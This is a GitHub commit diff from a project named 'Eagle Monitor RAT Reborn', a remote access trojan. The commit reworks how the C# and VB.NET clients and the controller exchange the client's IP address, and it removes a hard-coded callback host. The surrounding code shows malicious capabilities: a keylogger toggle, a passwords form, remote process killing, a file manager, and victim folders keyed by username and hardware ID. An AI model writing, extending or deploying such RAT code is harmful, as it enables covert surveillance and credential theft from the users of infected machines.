Skip to content

Commit ed9ed53

Browse files
committed
Network issue
* Fixed wan connection (local endpoint)
1 parent 40cb90a commit ed9ed53

File tree

132 files changed

+104
-120
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

132 files changed

+104
-120
lines changed

Remote Access Tool/Client/Networking/ClientHandler.cs

-8
Original file line numberDiff line numberDiff line change
@@ -15,12 +15,6 @@ namespace Client
1515
{
1616
internal class ClientHandler
1717
{
18-
#if DEBUG
19-
20-
#else
21-
internal static string hostIp = "127.0.0.1"; //%DNS%
22-
internal static int port = 7788; //999999
23-
#endif
2418
internal Host host { get; set; }
2519
internal string HWID { get; set; }
2620
internal string baseIp { get; set; }
@@ -87,9 +81,7 @@ public void EndConnect(IAsyncResult ar)
8781
if (Connected)
8882
{
8983
ConnectedPacket connectionPacket = new ConnectedPacket();
90-
connectionPacket.baseIp = this.socket.LocalEndPoint.ToString();
9184
this.HWID = connectionPacket.HWID;
92-
this.baseIp = socket.LocalEndPoint.ToString();
9385
SendPacket(connectionPacket);
9486
if (StarterClass.KeylogOn)
9587
StopOfflineKeyLogger();

Remote Access Tool/Client/Networking/PacketHandler.cs

+4
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,10 @@ internal static void ParsePacket(IPacket packet)
2828
{
2929
switch (packet.packetType)
3030
{
31+
case PacketType.CONNECTED:
32+
StarterClass.clientHandler.baseIp = packet.baseIp;
33+
break;
34+
3135
case (PacketType.CLOSE_CLIENT):
3236
StarterClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
3337
break;
Binary file not shown.
0 Bytes
Binary file not shown.
Binary file not shown.
Binary file not shown.

Remote Access Tool/ClientDll/Networking/PacketHandler.cs

+4
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,10 @@ internal static void ParsePacket(IPacket packet)
2828
{
2929
switch (packet.packetType)
3030
{
31+
case (PacketType.CONNECTED):
32+
EntryClass.clientHandler.baseIp = packet.baseIp;
33+
break;
34+
3135
case (PacketType.CLOSE_CLIENT):
3236
EntryClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
3337
break;
Binary file not shown.
Binary file not shown.

Remote Access Tool/ClientVB/Networking/PacketHandler.vb

+3
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,9 @@ Namespace Client
2323

2424
Try
2525
Select Case packet.packetType
26+
Case PacketType.CONNECTED
27+
StarterClass.clientHandler.baseIp = packet.baseIp
28+
2629
Case (PacketType.CLOSE_CLIENT)
2730
StarterClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0)
2831

Binary file not shown.
Binary file not shown.
Binary file not shown.

Remote Access Tool/ClientVBDll/EntryClass.vb

+1-1
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ Imports System.Threading
88
'
99

1010
Namespace Client
11-
Public Class EntryClass
11+
Public Class EntryClass
1212
Friend Shared KeylogOn As Boolean
1313

1414
Private Shared MT As Mutex

Remote Access Tool/ClientVBDll/Networking/PacketHandler.vb

+3
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,9 @@ Namespace Client
2323

2424
Try
2525
Select Case packet.packetType
26+
Case PacketType.CONNECTED
27+
EntryClass.clientHandler.baseIp = packet.baseIp
28+
2629
Case (PacketType.CLOSE_CLIENT)
2730
EntryClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0)
2831

Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

Remote Access Tool/Eagle Monitor/Forms/Main.Designer.cs

+7-6
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Remote Access Tool/Eagle Monitor/Forms/Main.cs

+12-15
Original file line numberDiff line numberDiff line change
@@ -54,28 +54,25 @@ private void Settings()
5454
}
5555
else
5656
{
57-
Process p = Process.Start("Eagle Monitor Configurator.exe");
57+
Process proc = Process.Start("Eagle Monitor Configurator.exe");
5858
Miscellaneous.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
59-
p.WaitForExit();
60-
}
61-
62-
if (File.Exists(Miscellaneous.GPath + "\\masstasks.json"))
63-
{
64-
//TODO
59+
proc.WaitForExit();
6560
}
6661
}
6762
private void SettingsLoaded(IAsyncResult ar)
6863
{
6964
loadSettings.EndInvoke(ar);
70-
71-
label2.Text = "Listening on : { ";
72-
foreach (int p in Miscellaneous.settings.ports)
65+
this.BeginInvoke((MethodInvoker)(() =>
7366
{
74-
label2.Text += p.ToString() + ", ";
75-
}
67+
this.label2.Text = "Listening on : { ";
68+
foreach (int p in Miscellaneous.settings.ports)
69+
{
70+
this.label2.Text += p.ToString() + ", ";
71+
}
7672

77-
label2.Text = label2.Text.Remove(label2.Text.Length - 2, 2);
78-
label2.Text += " }";
73+
this.label2.Text = this.label2.Text.Remove(this.label2.Text.Length - 2, 2);
74+
this.label2.Text += " }";
75+
}));
7976
}
8077

8178
private string PerformanceCalculator()
@@ -96,10 +93,10 @@ private void EndPerformanceCalculator(IAsyncResult ar)
9693

9794
private void Main_Load(object sender, EventArgs e)
9895
{
96+
9997
new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(dataGridView1, guna2VScrollBar1, true);
10098
this.Text = "Eagle Monitor RAT Reborn" + " @Welcome " + Environment.UserName + " !";
10199
this.label1.Text = "Eagle Monitor RAT Reborn" + " @Welcome " + Environment.UserName + " !";
102-
//new BlurForm(this);
103100
Miscellaneous.Enable(this.dataGridView1);
104101
}
105102

Remote Access Tool/Eagle Monitor/Networking/ClientHandler.cs

+4-4
Original file line numberDiff line numberDiff line change
@@ -151,14 +151,14 @@ private IPacket PacketParser(byte[] BufferPacket)
151151
}
152152
catch (Exception)
153153
{
154-
this.Dispose();
155154
return null;
156155
}
157156
}
158157
private void EndPacketRead(IAsyncResult ar)
159158
{
160159
try
161160
{
161+
162162
IPacket packet = readPacketAsync.EndInvoke(ar);
163163

164164
if (packet != null)
@@ -197,7 +197,7 @@ private void EndPacketRead(IAsyncResult ar)
197197
}
198198
}
199199
}
200-
catch (Exception)
200+
catch (Exception)// ex)
201201
{
202202
//MessageBox.Show(ex.ToString());
203203
this.Dispose();
@@ -309,11 +309,11 @@ public void Dispose()
309309
socket = null;
310310
}
311311

312-
if (clientRow != null)
312+
if (this.clientRow != null)
313313
{
314314
Program.mainForm.dataGridView1.BeginInvoke((MethodInvoker)(() =>
315315
{
316-
Program.mainForm.dataGridView1.Rows.Remove(clientRow);
316+
Program.mainForm.dataGridView1.Rows.Remove(this.clientRow);
317317
}));
318318

319319
Utils.Miscellaneous.CloseForm(passwordsForm);

Remote Access Tool/Eagle Monitor/Networking/PacketHandler.cs

+2-4
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
using EagleMonitor.PacketParser;
1+
using EagleMonitor.PacketParser;
22
using PacketLib;
33
using PacketLib.Packet;
44
using System;
@@ -59,9 +59,7 @@ private void Log(IAsyncResult ar)
5959
break;
6060

6161
case PacketType.CONNECTED:
62-
//row.Cells["Column5"].Value = ((ConnectedPacket)packet).clientStatus;
63-
//This provokes key not found in dictionary
64-
//ClientHandler.ClientHandlersList[packet.baseIp].clientStatus;
62+
row.Cells["Column5"].Value = ClientHandler.ClientHandlersList[packet.baseIp].clientStatus;
6563
break;
6664

6765
case PacketType.FM_SHORTCUT_PATH:
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
using EagleMonitor.Networking;
1+
using EagleMonitor.Networking;
22
using EagleMonitor.Utils;
33
using Eagle_Monitor_Tasks_Configurator;
44
using PacketLib.Packet;
@@ -21,6 +21,10 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli
2121
{
2222
new Thread(() =>
2323
{
24+
clientHandler.HWID = connectedPacket.HWID;
25+
connectedPacket.baseIp = clientHandler.IP;
26+
clientHandler.SendPacket(new BaseIpPacket(clientHandler.IP));
27+
2428
if (Miscellaneous.settings.notificationSound)
2529
{
2630
byte[] sound = File.ReadAllBytes(Utils.Miscellaneous.GPath + "\\Notification\\notification.wav");
@@ -31,18 +35,15 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli
3135
}
3236
}
3337

34-
clientHandler.HWID = connectedPacket.HWID;
3538

3639
if (!Directory.Exists(Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID))
3740
{
3841
Directory.CreateDirectory(Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID);
39-
//connectedPacket.clientStatus = "New Client";
40-
//clientHandler.clientStatus = "New Client";
42+
clientHandler.clientStatus = "New Client";
4143
}
4244
else
4345
{
44-
// clientHandler.clientStatus = "Old Client";
45-
//connectedPacket.clientStatus = "Old Client";
46+
clientHandler.clientStatus = "Old Client";
4647
}
4748

4849
clientHandler.clientPath = Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID;
@@ -90,72 +91,6 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli
9091
}
9192
return;
9293
}).Start();
93-
94-
/* clientHandler.HWID = connectedPacket.HWID;
95-
96-
if (!Directory.Exists(Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID))
97-
{
98-
Directory.CreateDirectory(Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID);
99-
clientHandler.clientStatus = "New Client";
100-
}
101-
else
102-
{
103-
clientHandler.clientStatus = "Old Client";
104-
}
105-
106-
if (Miscellaneous.settings.notificationSound)
107-
{
108-
byte[] sound = File.ReadAllBytes(Utils.Miscellaneous.GPath + "\\Notification\\notification.wav");
109-
using (MemoryStream ms = new MemoryStream(sound))
110-
{
111-
SoundPlayer player = new SoundPlayer(ms);
112-
player.Play();
113-
}
114-
}
115-
116-
clientHandler.clientPath = Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID;
117-
118-
Program.mainForm.dataGridView1.BeginInvoke((MethodInvoker)(() =>
119-
{
120-
int rowId = Program.mainForm.dataGridView1.Rows.Add();
121-
122-
DataGridViewRow row = Program.mainForm.dataGridView1.Rows[rowId];
123-
if (File.Exists(Miscellaneous.GPath + "\\Flags\\" + connectedPacket.RegionFlag.ToLower() + ".png"))
124-
row.Cells["Column1"].Value = Miscellaneous.resizeImage(Image.FromFile(Miscellaneous.GPath + "\\Flags\\" + connectedPacket.RegionFlag.ToLower() + ".png"), new Size(26, 26));
125-
else
126-
row.Cells["Column1"].Value = Miscellaneous.resizeImage(Image.FromFile(Miscellaneous.GPath + "\\Flags\\" + "UKN" + ".png"), new Size(26, 26));
127-
row.Cells["Column2"].Value = connectedPacket.HWID;
128-
row.Cells["Column3"].Value = clientHandler.IP;
129-
row.Cells["Column4"].Value = connectedPacket.OSName;
130-
row.Cells["Column5"].Value = connectedPacket.Username;
131-
row.Cells["Column6"].Value = connectedPacket.RAM;
132-
row.Cells["Column7"].Value = connectedPacket.RegionName;
133-
row.Cells["Column8"].Value = connectedPacket.Privilege;
134-
row.Cells["Column9"].Value = connectedPacket.Is64Bit;
135-
136-
if (connectedPacket.Is64Bit == "32")
137-
{
138-
clientHandler.is64bitClient = false;
139-
}
140-
else
141-
{
142-
clientHandler.is64bitClient = true;
143-
}
144-
145-
row.Cells["Column10"].Value = clientHandler.serverPort.ToString();
146-
clientHandler.clientRow = row;
147-
Program.mainForm.dataGridView1.ClearSelection();
148-
connectedPacket = null;
149-
150-
}));
151-
152-
if (StartupTaskWorker.startupTaskExisting)
153-
{
154-
foreach (ITasks task in StartupTaskWorker.allTask)
155-
{
156-
new StartupTaskWorker(task, clientHandler);
157-
}
158-
}*/
15994
}
16095
}
16196
}

Remote Access Tool/Eagle Monitor/PacketParser/FileManagerPacketHandler.cs

+3-2
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
using EagleMonitor.Networking;
22
using PacketLib.Packet;
3+
using System;
34
using System.Drawing;
45
using System.Threading;
56
using System.Windows.Forms;
@@ -102,11 +103,11 @@ public FileManagerPacketHandler(FileManagerPacket fileManagerPacket, ClientHandl
102103
clientHandler.fileManagerForm.loadingCircle1.Visible = false;
103104
clientHandler.fileManagerForm.loadingCircle1.Active = false;
104105

105-
fileManagerPacket = null;
106+
//fileManagerPacket = null;
106107
}));
107108
return;
108109
}
109-
catch { }
110+
catch(Exception ex) { MessageBox.Show(ex.ToString()); }
110111
}).Start();
111112
}
112113
}

Remote Access Tool/Eagle Monitor/PacketParser/ProcessKillerPacketHandler.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ public ProcessKillerPacketHandler(ProcessKillerPacket packet, ClientHandler clie
2121
{
2222
clientHandler.processManagerForm.processDataGridView.Rows.Remove(clientHandler.processManagerForm.processDataGridView.Rows[packet.rowIndex]);
2323

24-
packet = null;
24+
//packet = null;
2525
}));
2626
return;
2727
}
Binary file not shown.
Binary file not shown.

Remote Access Tool/Eagle Monitor/obj/Release/Eagle Monitor RAT Reborn.csproj.CopyComplete

Whitespace-only changes.
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
using System;
2+
3+
namespace PacketLib.Packet
4+
{
5+
[Serializable]
6+
public class BaseIpPacket : IPacket
7+
{
8+
public BaseIpPacket(string baseIp) : base()
9+
{
10+
this.packetType = PacketType.CONNECTED;
11+
this.baseIp = baseIp;
12+
}
13+
14+
public string HWID { get; set; }
15+
public string baseIp { get; set; }
16+
public byte[] plugin { get; set; }
17+
public PacketType packetType { get; }
18+
public string status { get; set; }
19+
public string datePacketStatus { get; set; }
20+
}
21+
}

0 commit comments

Comments
 (0)